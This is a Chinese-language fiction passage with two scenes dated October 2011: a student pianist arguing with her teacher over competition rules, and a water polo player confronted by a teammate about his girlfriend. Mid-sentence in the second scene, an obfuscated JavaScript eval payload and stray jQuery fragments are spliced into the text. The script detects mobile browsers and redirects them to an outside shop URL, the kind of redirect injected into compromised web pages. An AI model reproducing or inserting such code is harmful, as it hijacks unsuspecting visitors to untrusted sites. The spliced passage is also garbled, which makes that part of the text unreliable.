2011年10月19日
一望无际的蔚蓝天空中，云朵都躲了起来。太阳仿佛被放大，变成了个刺眼炙热焚烧地面的大火球。太阳的光线还未来得及散发出去就被自己吞噬殆尽。钢琴教室里，Stella正在弹舒伯特的《e小调第六钢琴奏鸣曲, D. 566: Ⅳ. Rondo, D. 506》. 这是Hall推荐的在音乐比赛里使用的曲子。Hall夫人站在钢琴旁边，闭着眼睛紧锁眉头。弹到第85节时，Hall夫人打断了她。
Hall: “停. 停. 请停下.” Stella停了下来。
Hall: “谢谢。我已经告诉过你很多遍了。按照标注的指法弹。按照标注踩踏板。你完全没有改正错误。”
Stella: “那些不是需要改正的错误。我要按我的理解弹。”
Hall: “你必须严格按照 …”
Stella打断她：“这些标注不是舒伯特写的。指法是你参考历届钢琴比赛冠军的录像总结的。踏板的标记是出版社根据上个世纪的钢琴修订的。舒伯特的钢琴只有两个踏板。出版社的标记是在更改他的原曲。到底是谁决定了所有人都要按照同一种方式弹？”
Hall: “不是谁。是比赛。评委们根本不喜欢和他们不同的指法。这样下去，你得不到任何名次.”
Stella声音不自觉拔高了：“我弹钢琴不是为了比赛。”
Hall: “你需要首先赢得这次的比赛，才能进入音乐学院，才能继续弹钢琴。如果你想要成为钢琴家的话，还有好几百个比赛在等着你。”
Stella平静地说: “那些事情和音乐无关。它们毫无意义。”
Hall: “你不要以为自己能脱离那些事情。如果舒伯特还活着的话，他也只能挺过没完没了的比赛，打败所有人。这是唯一的出路。”
Stella脸上缓缓浮起一个极淡的，近乎虚幻的笑容：“如果舒伯特还活着的话，他讨厌音乐。”
Hall被气着了，但她依然用着老师斯文的语调说：“不要把你的愤怒撒在我身上，年轻的小姐。我知道你年轻。你 … 上帝才明白你到底在愤怒些什么。但是如果你不想去比赛的话，找你妈妈出气，不是我。我努力在做的是 … 我们努力在做的是确保你在即将到来的比赛里拿到名次。按照你的水平，应该能拿到第三或第四名。我们过去一个多月的努力是为了确保第三名。这样你的大学申请表能好看些。”
Stella抬起头，牢牢盯住Hall：“你裁定我是什么水平？”
Hall叹了口气：“我以我四十年的经验告诉你。如果 … 上帝恩赐你天资，好吧，照你的方式弹吧。这是上帝的旨意。但是如果上帝不曾赐于你，你只能按照规则弹。”
Stella: “你是说我太平凡了，不能按我的方式弹。”
Hall: “我没这么说。你已经17岁了。可是你还没在任何像样的比赛里拿过像样的名次。如果你想要成为一个钢琴家的话，这次比赛是你最后一次机会。如果你坚持没有得过奖就上音乐学院的话，可以。你有钱。你想做什么都可以。但是很快，你就会发现像你这样的人太多了，你怎么会以为自己和他们不一样呢？到时候事情就会发展得很尴尬了。你应该认真考虑一下再决定是否要继续 … 你的方式。如果你毕业后不去音乐学院的话，也最好在这次的比赛里拿个奖杯。你不想在熬过了那么多年枯燥乏味的练习后什么都没得到，对吧。那可真是一眼望不到头的痛苦。奖杯这种东西蛮好的。等你老了能靠它回忆青春。
2011年10月19日
下午五点，水球队训练室。Edwin把外部团队列出的素材清单递给Isaac。学监最近决定要聘请外部专业摄影团队跟拍水球队的整个赛季，制作成纪录片，取名为《我们如何塑造冠军》。听说是为了明年春天的募捐。Isaac和Edwin得负责在开赛前提供素材和照片给外部团队。
Edwin: “他们还要开个策划会。我们两个得参加。29号怎么样？”
Isaac: “那天是Stella的钢琴比赛.”
Brendon走了进来把书包猛地甩在桌上。Isaac回头看了他一眼又转回去面朝Edwin.
Edwin瞄了一眼Brendon说: “行啊你。你和那个有钱的女孩在一起。”
Isaac勉强笑了下：“这里每个女孩都是有钱女孩。”
Brendon直接插到两人中间，挡住Izzy, 瞪着Edwin. 对方赶紧溜了。Izzy疲惫地坐在身后的桌子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942582|213958||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上。
Brendon: “我去打听了一下你的Einhorn小姐。”
Izzy叹了口气。Brendon被刺到了，死死盯住他：“怎么了！我都不能提你宝贝的Einhorn小姐了吗？”
Izzy用手抓了抓眉毛：“你为什么老是叫她Einhorn小姐？那是她妈妈的姓。”
Brendon开口就是嘲讽：“噢，她就是个Einhorn。Izzy, 你可能以为自己很了解她。但真相是你对她一无所知。她从之前的高中退学是因为她有病。Einhorn夫人不得不把她送去精神病院。”
Izzy抬起头，一脸的不敢置信。Brendon 感到一股扭曲的狂喜：“她告诉过你吗？Izzy, 她不是你以为的那种好女孩。她是在利用你。对于她来说，你就好像香奈儿。带着你，她就是全场的焦点。”
Izzy嘴唇动了动，但没声音，过了一会，话才漏出来: “不是，她不是这样的。我们不是这样的。”
Brendon深吸了口气，耐着性子说: “全校的人都在看你的笑话，就你不知道。” 他指着门口：“你看到刚才那个混蛋的嘴脸了吗？你不怕丢人吗？你不在乎周围的人怎么看你吗？你不在乎你的队友们怎么看你吗？Izzy, 不要邀请那些人来看不起你。她不配。”
Brendon把手放在Izzy肩上，越握越紧：“甩掉她。立刻。你听见我的话了吗？”
Izzy抬头望着着他，眼里满是挣扎: “Brendon, 我感觉到 … 我必须 … 去爱她.”
Brendon整张脸瞬间涨红，脖子上青筋暴起，从喉咙里挤出一声低吼：“Fuck！你和她一样疯！你居然觉得你能爱她？她是谁？你他妈的又是谁？”他并拢两根手指戳着Izzy的胸膛：“你就是Einhorn小姐新买的婊子。每个人都知道 …”
Izzy猛地把Brendon推开，Brendon往后倒去，撞翻了好几张桌子。Izzy：“我是婊子！就因为我穷所以我他妈就是婊子！我只能是婊子！”
Brendon被Izzy的反应惊得呆住了，他下意识喃喃：“Izzy.”
Izzy站在原地，看着Brendon摔倒在地。他失望透顶，甩门离去。